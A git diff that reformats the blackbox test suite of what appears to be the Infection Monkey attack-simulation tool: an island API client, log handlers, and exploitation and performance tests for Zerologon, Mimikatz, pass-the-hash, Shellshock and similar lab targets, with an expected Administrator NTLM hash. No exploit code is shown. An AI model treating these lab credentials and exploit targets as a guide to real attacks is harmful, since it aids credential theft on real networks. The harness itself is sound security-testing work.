self.requests.get(MONKEY_TEST_ENDPOINT, - MonkeyIslandClient.form_find_query_for_request(None)) + response = self.requests.get( + MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(None) + ) return MonkeyIslandClient.get_test_query_results(response) def find_log_in_db(self, query): - response = self.requests.get(LOG_TEST_ENDPOINT, - MonkeyIslandClient.form_find_query_for_request(query)) + response = self.requests.get( + LOG_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query) + ) return MonkeyIslandClient.get_test_query_results(response) @staticmethod def form_find_query_for_request(query: Union[dict, None]) -> dict: - return {'find_query': json_util.dumps(query)} + return {"find_query": json_util.dumps(query)} @staticmethod def get_test_query_results(response): - return json.loads(response.content)['results'] + return json.loads(response.content)["results"] def is_all_monkeys_dead(self): - query = {'dead': False} + query = {"dead": False} return len(self.find_monkeys_in_db(query)) == 0 def clear_caches(self): diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index 226a0043ce6..4575f465e64 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -8,8 +8,10 @@ from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' -NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \ - '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557' +NO_AUTH_CREDS = ( + "55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062" + "8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557" +) LOGGER = logging.getLogger(__name__) @@ -18,10 +20,12 @@ class MonkeyIslandRequests(object): def __init__(self, server_address): self.addr = "https://{IP}/".format(IP=server_address) self.token = self.try_get_jwt_from_server() - self.supported_request_methods = {SupportedRequestMethod.GET: self.get, - SupportedRequestMethod.POST: self.post, - SupportedRequestMethod.PATCH: self.patch, - SupportedRequestMethod.DELETE: self.delete} + self.supported_request_methods = { + SupportedRequestMethod.GET: self.get, + SupportedRequestMethod.POST: self.post, + SupportedRequestMethod.PATCH: self.patch, + SupportedRequestMethod.DELETE: self.delete, + } def get_request_time(self, url, method: SupportedRequestMethod, data=None): response = self.send_request_by_method(url, method, data) @@ -44,7 +48,10 @@ def try_get_jwt_from_server(self): return self.get_jwt_from_server() except requests.ConnectionError as err: LOGGER.error( - "Unable to connect to island, aborting! Error information: {}. Server: {}".format(err, self.addr)) + "Unable to connect to island, aborting! Error information: {}. Server: {}".format( + err, self.addr + ) + ) assert False class _Decorators: @@ -59,45 +66,45 @@ def request_function_wrapper(self, *args, **kwargs): return request_function_wrapper def get_jwt_from_server(self): - resp = requests.post(self.addr + "api/auth", # noqa: DUO123 - json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS}, - verify=False) + resp = requests.post( + self.addr + "api/auth", # noqa: DUO123 + json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS}, + verify=False, + ) return resp.json()["access_token"] @_Decorators.refresh_jwt_token def get(self, url, data=None): - return requests.get(self.addr + url, # noqa: DUO123 - headers=self.get_jwt_header(), - params=data, - verify=False) + return requests.get( + self.addr + url, # noqa: DUO123 + headers=self.get_jwt_header(), + params=data, + verify=False, + ) @_Decorators.refresh_jwt_token def post(self, url, data): - return requests.post(self.addr + url, # noqa: DUO123 - data=data, - headers=self.get_jwt_header(), - verify=False) + return requests.post( + self.addr + url, data=data, headers=self.get_jwt_header(), verify=False # noqa: DUO123 + ) @_Decorators.refresh_jwt_token def post_json(self, url, data: Dict): - return requests.post(self.addr + url, # noqa: DUO123 - json=data, - headers=self.get_jwt_header(), - verify=False) + return requests.post( + self.addr + url, json=data, headers=self.get_jwt_header(), verify=False # noqa: DUO123 + ) @_Decorators.refresh_jwt_token def patch(self, url, data: Dict): - return requests.patch(self.addr + url, # noqa: DUO123 - data=data, - headers=self.get_jwt_header(), - verify=False) + return requests.patch( + self.addr + url, data=data, headers=self.get_jwt_header(), verify=False # noqa: DUO123 + ) @_Decorators.refresh_jwt_token def delete(self, url): return requests.delete( # noqa: DOU123 - self.addr + url, - headers=self.get_jwt_header(), - verify=False) + self.addr + url, headers=self.get_jwt_header(), verify=False + ) @_Decorators.refresh_jwt_token def get_jwt_header(self): diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py index b7f424a6905..f49b199a105 100644 --- a/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py +++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py @@ -12,16 +12,16 @@ def __init__(self, monkey, log_dir_path): self.log_dir_path = log_dir_path def download_log(self, island_client): - log = island_client.find_log_in_db({'monkey_id': ObjectId(self.monkey['id'])}) + log = island_client.find_log_in_db({"monkey_id": ObjectId(self.monkey["id"])}) if not log: - LOGGER.error("Log for monkey {} not found".format(self.monkey['ip_addresses'][0])) + LOGGER.error("Log for monkey {} not found".format(self.monkey["ip_addresses"][0])) return False else: self.write_log_to_file(log) return True def write_log_to_file(self, log): - with open(self.get_log_path_for_monkey(self.monkey), 'w') as log_file: + with open(self.get_log_path_for_monkey(self.monkey), "w") as log_file: log_file.write(MonkeyLog.parse_log(log)) @staticmethod @@ -32,7 +32,7 @@ def parse_log(log): @staticmethod def get_filename_for_monkey_log(monkey): - return "{}.txt".format(monkey['ip_addresses'][0]) + return "{}.txt".format(monkey["ip_addresses"][0]) def get_log_path_for_monkey(self, monkey): return os.path.join(self.log_dir_path, MonkeyLog.get_filename_for_monkey_log(monkey)) diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py index 44804a1fdd2..6a046a47498 100644 --- a/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py +++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py @@ -5,13 +5,12 @@ class MonkeyLogParser(object): - def __init__(self, log_path): self.log_path = log_path self.log_contents = self.read_log() def read_log(self): - with open(self.log_path, 'r') as log: + with open(self.log_path, "r") as log: return log.read() def print_errors(self): diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py index dbed4678020..302da8fc769 100644 --- a/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py +++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py @@ -6,7 +6,6 @@ class MonkeyLogsDownloader(object): - def __init__(self, island_client, log_dir_path): self.island_client = island_client self.log_dir_path = log_dir_path diff --git a/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py b/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py index bae6a9adc74..55a242bec82 100644 --- a/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py +++ b/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py @@ -5,7 +5,7 @@ from envs.monkey_zoo.blackbox.log_handlers.monkey_log_parser import MonkeyLogParser from envs.monkey_zoo.blackbox.log_handlers.monkey_logs_downloader import MonkeyLogsDownloader -LOG_DIR_NAME = 'logs' +LOG_DIR_NAME = "logs" LOGGER = logging.getLogger(__name__) @@ -18,8 +18,10 @@ def __init__(self, test_name, island_client, log_dir_path): def parse_test_logs(self): log_paths = self.download_logs() if not log_paths: - LOGGER.error("No logs were downloaded. Maybe no monkeys were ran " - "or early exception prevented log download?") + LOGGER.error( + "No logs were downloaded. Maybe no monkeys were ran " + "or early exception prevented log download?" + ) return TestLogsHandler.parse_logs(log_paths) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index bfcf32fba29..303d0be52ad 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -5,13 +5,10 @@ import pytest from typing_extensions import Type -from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import \ - CommunicationAnalyzer +from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer -from envs.monkey_zoo.blackbox.island_client.island_config_parser import \ - IslandConfigParser -from envs.monkey_zoo.blackbox.island_client.monkey_island_client import \ - MonkeyIslandClient +from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic @@ -28,33 +25,51 @@ from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon -from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import \ - TestLogsHandler +from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest -from envs.monkey_zoo.blackbox.tests.performance.map_generation import \ - MapGenerationTest -from envs.monkey_zoo.blackbox.tests.performance.map_generation_from_telemetries import \ - MapGenerationFromTelemetryTest -from envs.monkey_zoo.blackbox.tests.performance.report_generation import \ - ReportGenerationTest -from envs.monkey_zoo.blackbox.tests.performance.report_generation_from_telemetries import \ - ReportGenerationFromTelemetryTest -from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import \ - TelemetryPerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.map_generation import MapGenerationTest +from envs.monkey_zoo.blackbox.tests.performance.map_generation_from_telemetries import ( + MapGenerationFromTelemetryTest, +) +from envs.monkey_zoo.blackbox.tests.performance.report_generation import ReportGenerationTest +from envs.monkey_zoo.blackbox.tests.performance.report_generation_from_telemetries import ( + ReportGenerationFromTelemetryTest, +) +from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import ( + TelemetryPerformanceTest, +) from envs.monkey_zoo.blackbox.utils import gcp_machine_handlers -DEFAULT_TIMEOUT_SECONDS = 5*60 +DEFAULT_TIMEOUT_SECONDS = 5 * 60 MACHINE_BOOTUP_WAIT_SECONDS = 30 -GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'hadoop-2', 'hadoop-3', 'mssql-16', - 'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10', - 'tunneling-11', 'tunneling-12', 'weblogic-18', 'weblogic-19', 'shellshock-8', 'zerologon-25', - 'drupal-28'] +GCP_TEST_MACHINE_LIST = [ + "sshkeys-11", + "sshkeys-12", + "elastic-4", + "elastic-5", + "hadoop-2", + "hadoop-3", + "mssql-16", + "mimikatz-14", + "mimikatz-15", + "struts2-23", + "struts2-24", + "tunneling-9", + "tunneling-10", + "tunneling-11", + "tunneling-12", + "weblogic-18", + "weblogic-19", + "shellshock-8", + "zerologon-25", + "drupal-28", +] LOG_DIR_PATH = "./logs" logging.basicConfig(level=logging.INFO) LOGGER = logging.getLogger(__name__) -@pytest.fixture(autouse=True, scope='session') +@pytest.fixture(autouse=True, scope="session") def GCPHandler(request, no_gcp): if not no_gcp: GCPHandler = gcp_machine_handlers.GCPHandler() @@ -67,7 +82,7 @@ def fin(): request.addfinalizer(fin) -@pytest.fixture(autouse=True, scope='session') +@pytest.fixture(autouse=True, scope="session") def delete_logs(): LOGGER.info("Deleting monkey logs before new tests.") TestLogsHandler.delete_log_folder_contents(TestMonkeyBlackbox.get_log_dir_path()) @@ -77,7 +92,7 @@ def wait_machine_bootup(): sleep(MACHINE_BOOTUP_WAIT_SECONDS) -@pytest.fixture(scope='class') +@pytest.fixture(scope="class") def island_client(island, quick_performance_tests): island_client_object = MonkeyIslandClient(island) if not quick_performance_tests: @@ -85,41 +100,55 @@ def island_client(island, quick_performance_tests): yield island_client_object -@pytest.mark.usefixtures('island_client') +@pytest.mark.usefixtures("island_client") # noinspection PyUnresolvedReferences class TestMonkeyBlackbox: - @staticmethod - def run_exploitation_test(island_client: MonkeyIslandClient, - config_template: Type[ConfigTemplate], - test_name: str, - timeout_in_seconds=DEFAULT_TIMEOUT_SECONDS): + def run_exploitation_test( + island_client: MonkeyIslandClient, + config_template: Type[ConfigTemplate], + test_name: str, + timeout_in_seconds=DEFAULT_TIMEOUT_SECONDS, + ): raw_config = IslandConfigParser.get_raw_config(config_template, island_client) - analyzer = CommunicationAnalyzer(island_client, - IslandConfigParser.get_ips_of_targets(raw_config)) - log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path()) + analyzer = CommunicationAnalyzer( + island_client, IslandConfigParser.get_ips_of_targets(raw_config) + ) + log_handler = TestLogsHandler( + test_name, island_client, TestMonkeyBlackbox.get_log_dir_path() + ) ExploitationTest( name=test_name, island_client=island_client, raw_config=raw_config, analyzers=[analyzer], timeout=timeout_in_seconds, - log_handler=log_handler).run() + log_handler=log_handler, + ).run() @staticmethod - def run_performance_test(performance_test_class, island_client, - config_template, timeout_in_seconds, break_on_timeout=False): + def run_performance_test( + performance_test_class, + island_client, + config_template, + timeout_in_seconds, + break_on_timeout=False, + ): raw_config = IslandConfigParser.get_raw_config(config_template, island_client) - log_handler = TestLogsHandler(performance_test_class.TEST_NAME, - island_client, - TestMonkeyBlackbox.get_log_dir_path()) - analyzers = [CommunicationAnalyzer(island_client, IslandConfigParser.get_ips_of_targets(raw_config))] - performance_test_class(island_client=island_client, - raw_config=raw_config, - analyzers=analyzers, - timeout=timeout_in_seconds, - log_handler=log_handler, - break_on_timeout=break_on_timeout).run() + log_handler = TestLogsHandler( + performance_test_class.TEST_NAME, island_client, TestMonkeyBlackbox.get_log_dir_path() + ) + analyzers = [ + CommunicationAnalyzer(island_client, IslandConfigParser.get_ips_of_targets(raw_config)) + ] + performance_test_class( + island_client=island_client, + raw_config=raw_config, + analyzers=analyzers, + timeout=timeout_in_seconds, + log_handler=log_handler, + break_on_timeout=break_on_timeout, + ).run() @staticmethod def get_log_dir_path(): @@ -138,7 +167,9 @@ def test_mssql_exploiter(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, Mssql, "MSSQL_exploiter") def test_smb_and_mimikatz_exploiters(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, SmbMimikatz, "SMB_exploiter_mimikatz") + TestMonkeyBlackbox.run_exploitation_test( + island_client, SmbMimikatz, "SMB_exploiter_mimikatz" + ) def test_smb_pth(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, SmbPth, "SMB_PTH") @@ -159,31 +190,42 @@ def test_shellshock_exploiter(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellschock_exploiter") def test_tunneling(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Tunneling, "Tunneling_exploiter", 15 * 60) + TestMonkeyBlackbox.run_exploitation_test( + island_client, Tunneling, "Tunneling_exploiter", 15 * 60 + ) def test_wmi_and_mimikatz_exploiters(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, WmiMimikatz, "WMI_exploiter,_mimikatz") + TestMonkeyBlackbox.run_exploitation_test( + island_client, WmiMimikatz, "WMI_exploiter,_mimikatz" + ) def test_wmi_pth(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, WmiPth, "WMI_PTH") def test_zerologon_exploiter(self, island_client): test_name = "Zerologon_exploiter" - expected_creds = ["Administrator", - "aad3b435b51404eeaad3b435b51404ee", - "2864b62ea4496934a5d6e86f50b834a5"] + expected_creds = [ + "Administrator", + "aad3b435b51404eeaad3b435b51404ee", + "2864b62ea4496934a5d6e86f50b834a5", + ] raw_config = IslandConfigParser.get_raw_config(Zerologon, island_client) analyzer = ZerologonAnalyzer(island_client, expected_creds) - log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path()) + log_handler = TestLogsHandler( + test_name, island_client, TestMonkeyBlackbox.get_log_dir_path() + ) ExploitationTest( name=test_name, island_client=island_client, raw_config=raw_config, analyzers=[analyzer], timeout=DEFAULT_TIMEOUT_SECONDS, - log_handler=log_handler).run() + log_handler=log_handler, + ).run() - @pytest.mark.skip(reason="Perfomance test that creates env from fake telemetries is faster, use that instead.") + @pytest.mark.skip( + reason="Perfomance test that creates env from fake telemetries is faster, use that instead." + ) def test_report_generation_performance(self, island_client, quick_performance_tests): """ This test includes the SSH + Elastic + Hadoop + MSSQL machines all in one test @@ -193,21 +235,21 @@ def test_report_generation_performance(self, island_client, quick_performance_te and the Timing one which checks how long the report took to execute """ if not quick_performance_tests: - TestMonkeyBlackbox.run_performance_test(ReportGenerationTest, - island_client, - Performance, - timeout_in_seconds=10*60) + TestMonkeyBlackbox.run_performance_test( + ReportGenerationTest, island_client, Performance, timeout_in_seconds=10 * 60 + ) else: LOGGER.error("This test doesn't support 'quick_performance_tests' option.") assert False - @pytest.mark.skip(reason="Perfomance test that creates env from fake telemetries is faster, use that instead.") + @pytest.mark.skip( + reason="Perfomance test that creates env from fake telemetries is faster, use that instead." + ) def test_map_generation_performance(self, island_client, quick_performance_tests): if not quick_performance_tests: - TestMonkeyBlackbox.run_performance_test(MapGenerationTest, - island_client, - "PERFORMANCE.conf", - timeout_in_seconds=10*60) + TestMonkeyBlackbox.run_performance_test( + MapGenerationTest, island_client, "PERFORMANCE.conf", timeout_in_seconds=10 * 60 + ) else: LOGGER.error("This test doesn't support 'quick_performance_tests' option.") assert False @@ -219,4 +261,6 @@ def test_map_generation_from_fake_telemetries(self, island_client, quick_perform MapGenerationFromTelemetryTest(island_client, quick_performance_tests).run() def test_telem_performance(self, island_client, quick_performance_tests): - TelemetryPerformanceTest(island_client, quick_performance_tests).test_telemetry_performance() + TelemetryPerformanceTest( + island_client, quick_performance_tests + ).test_telemetry_performance() diff --git a/envs/monkey_zoo/blackbox/tests/basic_test.py b/envs/monkey_zoo/blackbox/tests/basic_test.py index fa722ffb759..7bec9c87355 100644 --- a/envs/monkey_zoo/blackbox/tests/basic_test.py +++ b/envs/monkey_zoo/blackbox/tests/basic_test.py @@ -2,7 +2,6 @@ class BasicTest(abc.ABC): - @abc.abstractmethod def run(self): pass diff --git a/envs/monkey_zoo/blackbox/tests/exploitation.py b/envs/monkey_zoo/blackbox/tests/exploitation.py index d6332bc75f6..e3397b94949 100644 --- a/envs/monkey_zoo/blackbox/tests/exploitation.py +++ b/envs/monkey_zoo/blackbox/tests/exploitation.py @@ -13,7 +13,6 @@ class ExploitationTest(BasicTest): - def __init__(self, name, island_client, raw_config, analyzers, timeout, log_handler): self.name = name self.island_client = island_client @@ -48,18 +47,25 @@ def test_until_timeout(self): self.log_success(timer) return sleep(DELAY_BETWEEN_ANALYSIS) - LOGGER.debug("Waiting until all analyzers passed. Time passed: {}".format(timer.get_time_taken())) + LOGGER.debug( + "Waiting until all analyzers passed. Time passed: {}".format(timer.get_time_taken()) + ) self.log_failure(timer) assert False def log_success(self, timer): LOGGER.info(self.get_analyzer_logs()) - LOGGER.info("{} test passed, time taken: {:.1f} seconds.".format(self.name, timer.get_time_taken())) + LOGGER.info( + "{} test passed, time taken: {:.1f} seconds.".format(self.name, timer.get_time_taken()) + ) def log_failure(self, timer): LOGGER.info(self.get_analyzer_logs()) - LOGGER.error("{} test failed because of timeout. Time taken: {:.1f} seconds.".format(self.name, - timer.get_time_taken())) + LOGGER.error( + "{} test failed because of timeout. Time taken: {:.1f} seconds.".format( + self.name, timer.get_time_taken() + ) + ) def all_analyzers_pass(self): analyzers_results = [analyzer.analyze_test_results() for analyzer in self.analyzers] @@ -73,7 +79,10 @@ def get_analyzer_logs(self): def wait_until_monkeys_die(self): time_passed = 0 - while not self.island_client.is_all_monkeys_dead() and time_passed < MAX_TIME_FOR_MONKEYS_TO_DIE: + while ( + not self.island_client.is_all_monkeys_dead() + and time_passed < MAX_TIME_FOR_MONKEYS_TO_DIE + ): sleep(WAIT_TIME_BETWEEN_REQUESTS) time_passed += WAIT_TIME_BETWEEN_REQUESTS LOGGER.debug("Waiting for all monkeys to die. Time passed: {}".format(time_passed)) diff --git a/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py b/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py index b8793452d18..1e2345ecfd7 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py +++ b/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py @@ -10,7 +10,6 @@ class EndpointPerformanceTest(BasicTest): - def __init__(self, name, test_config: PerformanceTestConfig, island_client: MonkeyIslandClient): self.name = name self.test_config = test_config @@ -21,8 +20,9 @@ def run(self) -> bool: endpoint_timings = {} for endpoint in self.test_config.endpoints_to_test: self.island_client.clear_caches() - endpoint_timings[endpoint] = self.island_client.requests.get_request_time(endpoint, - SupportedRequestMethod.GET) + endpoint_timings[endpoint] = self.island_client.requests.get_request_time( + endpoint, SupportedRequestMethod.GET + ) analyzer = PerformanceAnalyzer(self.test_config, endpoint_timings) return analyzer.analyze_test_results() diff --git a/envs/monkey_zoo/blackbox/tests/performance/map_generation.py b/envs/monkey_zoo/blackbox/tests/performance/map_generation.py index 42d2265e7d9..f925f031d74 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/map_generation.py +++ b/envs/monkey_zoo/blackbox/tests/performance/map_generation.py @@ -3,7 +3,9 @@ from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import PerformanceTestWorkflow +from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import ( + PerformanceTestWorkflow, +) MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2) MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5) @@ -17,18 +19,22 @@ class MapGenerationTest(PerformanceTest): TEST_NAME = "Map generation performance test" - def __init__(self, island_client, raw_config, analyzers, - timeout, log_handler, break_on_timeout): + def __init__( + self, island_client, raw_config, analyzers, timeout, log_handler, break_on_timeout + ): self.island_client = island_client - exploitation_test = ExploitationTest(MapGenerationTest.TEST_NAME, island_client, - raw_config, analyzers, timeout, log_handler) - performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, - max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, - endpoints_to_test=MAP_RESOURCES, - break_on_timeout=break_on_timeout) - self.performance_test_workflow = PerformanceTestWorkflow(MapGenerationTest.TEST_NAME, - exploitation_test, - performance_config) + exploitation_test = ExploitationTest( + MapGenerationTest.TEST_NAME, island_client, raw_config, analyzers, timeout, log_handler + ) + performance_config = PerformanceTestConfig( + max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, + max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, + endpoints_to_test=MAP_RESOURCES, + break_on_timeout=break_on_timeout, + ) + self.performance_test_workflow = PerformanceTestWorkflow( + MapGenerationTest.TEST_NAME, exploitation_test, performance_config + ) def run(self): self.performance_test_workflow.run() diff --git a/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py b/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py index 1b31a89624b..8713d3c0f0c 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py +++ b/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py @@ -2,8 +2,9 @@ from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import \ - TelemetryPerformanceTestWorkflow +from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import ( + TelemetryPerformanceTestWorkflow, +) MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2) MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5) @@ -19,14 +20,18 @@ class MapGenerationFromTelemetryTest(PerformanceTest): def __init__(self, island_client, quick_performance_test: bool, break_on_timeout=False): self.island_client = island_client - performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, - max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, - endpoints_to_test=MAP_RESOURCES, - break_on_timeout=break_on_timeout) - self.performance_test_workflow = TelemetryPerformanceTestWorkflow(MapGenerationFromTelemetryTest.TEST_NAME, - self.island_client, - performance_config, - quick_performance_test) + performance_config = PerformanceTestConfig( + max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, + max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, + endpoints_to_test=MAP_RESOURCES, + break_on_timeout=break_on_timeout, + ) + self.performance_test_workflow = TelemetryPerformanceTestWorkflow( + MapGenerationFromTelemetryTest.TEST_NAME, + self.island_client, + performance_config, + quick_performance_test, + ) def run(self): self.performance_test_workflow.run() diff --git a/envs/monkey_zoo/blackbox/tests/performance/performance_test.py b/envs/monkey_zoo/blackbox/tests/performance/performance_test.py index dd6af806532..de5d49945da 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/performance_test.py +++ b/envs/monkey_zoo/blackbox/tests/performance/performance_test.py @@ -4,10 +4,10 @@ class PerformanceTest(BasicTest, metaclass=ABCMeta): - @abstractmethod - def __init__(self, island_client, raw_config, analyzers, - timeout, log_handler, break_on_timeout): + def __init__( + self, island_client, raw_config, analyzers, timeout, log_handler, break_on_timeout + ): pass @property diff --git a/envs/monkey_zoo/blackbox/tests/performance/performance_test_config.py b/envs/monkey_zoo/blackbox/tests/performance/performance_test_config.py index ad7be596777..cc45093c045 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/performance_test_config.py +++ b/envs/monkey_zoo/blackbox/tests/performance/performance_test_config.py @@ -3,9 +3,13 @@ class PerformanceTestConfig: - - def __init__(self, max_allowed_single_page_time: timedelta, max_allowed_total_time: timedelta, - endpoints_to_test: List[str] = None, break_on_timeout=False): + def __init__( + self, + max_allowed_single_page_time: timedelta, + max_allowed_total_time: timedelta, + endpoints_to_test: List[str] = None, + break_on_timeout=False, + ): self.max_allowed_single_page_time = max_allowed_single_page_time self.max_allowed_total_time = max_allowed_total_time self.endpoints_to_test = endpoints_to_test diff --git a/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py b/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py index 7799e3d2999..de63ed89996 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py +++ b/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py @@ -1,12 +1,15 @@ from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest -from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import EndpointPerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import ( + EndpointPerformanceTest, +) from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig class PerformanceTestWorkflow(BasicTest): - - def __init__(self, name, exploitation_test: ExploitationTest, performance_config: PerformanceTestConfig): + def __init__( + self, name, exploitation_test: ExploitationTest, performance_config: PerformanceTestConfig + ): self.name = name self.exploitation_test = exploitation_test self.island_client = exploitation_test.island_client @@ -25,7 +28,9 @@ def run(self): self.exploitation_test.wait_for_monkey_process_to_finish() if not self.island_client.is_all_monkeys_dead(): raise RuntimeError("Can't test report times since not all Monkeys have died.") - performance_test = EndpointPerformanceTest(self.name, self.performance_config, self.island_client) + performance_test = EndpointPerformanceTest( + self.name, self.performance_config, self.island_client + ) try: if not self.island_client.is_all_monkeys_dead(): raise RuntimeError("Can't test report times since not all Monkeys have died.") diff --git a/envs/monkey_zoo/blackbox/tests/performance/report_generation.py b/envs/monkey_zoo/blackbox/tests/performance/report_generation.py index f05661682aa..c7efc60578e 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/report_generation.py +++ b/envs/monkey_zoo/blackbox/tests/performance/report_generation.py @@ -3,7 +3,9 @@ from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import PerformanceTestWorkflow +from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import ( + PerformanceTestWorkflow, +) MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2) MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5) @@ -13,25 +15,34 @@ "api/attack/report", "api/report/zero_trust/findings", "api/report/zero_trust/principles", - "api/report/zero_trust/pillars" + "api/report/zero_trust/pillars", ] class ReportGenerationTest(PerformanceTest): TEST_NAME = "Report generation performance test" - def __init__(self, island_client, raw_config, analyzers, - timeout, log_handler, break_on_timeout): + def __init__( + self, island_client, raw_config, analyzers, timeout, log_handler, break_on_timeout + ): self.island_client = island_client - exploitation_test = ExploitationTest(ReportGenerationTest.TEST_NAME, island_client, - raw_config, analyzers, timeout, log_handler) - performance_config = 